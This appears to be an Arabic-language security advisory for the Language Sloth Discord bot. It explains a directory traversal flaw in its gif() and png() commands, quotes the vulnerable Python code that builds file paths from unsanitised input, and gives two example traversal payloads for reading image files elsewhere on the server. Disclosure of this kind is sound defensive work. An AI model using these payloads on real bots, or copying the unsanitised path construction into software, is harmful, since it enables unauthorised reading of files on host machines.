
Language Sloth Sloth Bot 1.0 معرض لـ Directory Traversal في الدالتين gif() و png(). تقوم الدوال ببناء مسارات الملفات باستخدام إدخال مستخدم غير معقم للمعامل 'name'، مما يسمح للمهاجمين بالإشارة إلى ملفات خارج أدلة الموارد المقصودة.
بوت Discord الخاص بـ Language Sloth عرضة لثغرة اجتياز الدليل (Directory Traversal) في الدالتين gif() و png(). تقوم الدالتان ببناء مسارات الملفات باستخدام مدخلات المستخدم غير المنقاة للمعامل name، مما يسمح للمهاجمين بالإشارة إلى ملفات خارج أدلة الموارد المخصصة.
الدالتان gif و png في الملف files.py عرضتان لاجتياز الدليل لأنهما تستخدمان open لاسترداد ملفات محلية من الخادم الذي يستضيف البوت. تسمح الحمولات أدناه لأي مستخدم على Discord باسترداد ملفات .gif و .png مستضافة في أي مكان على الخادم الذي يستضيف البوت.
async def gif(self, ctx, name: str = None):
'''
(ADM) Sends a gif from the bot's gif folder.
:param name: The name of the gif file.
'''
await ctx.message.delete()
try:
with open(f'./gif/{name}.gif', 'rb') as pic:
await ctx.send(file=discord.File(pic))
except FileNotFoundError:
return await ctx.send("**File not found!**")
async def png(self, ctx, name: str = None):
'''
(ADM) Sends a png from the bot's png folder.
:param name: The name of the png file.
'''
await ctx.message.delete()
try:
await ctx.send(file=discord.File(f'./png/{name}.png'))
except FileNotFoundError:
return await ctx.send("**File not found!**")
يتم إدراج المعامل name مباشرة في مسار الملف دون تحقق أو تنقية:
f'./gif/{name}.gif'
f'./png/{name}.png'
أمثلة على الحمولات:
z!gif ..\..\..\..\Windows\filename
z!png ..\..\..\..\Windows\filename
توضح الصورة أعلاه استخراج صورة موجودة في C:\Windows\cat.gif.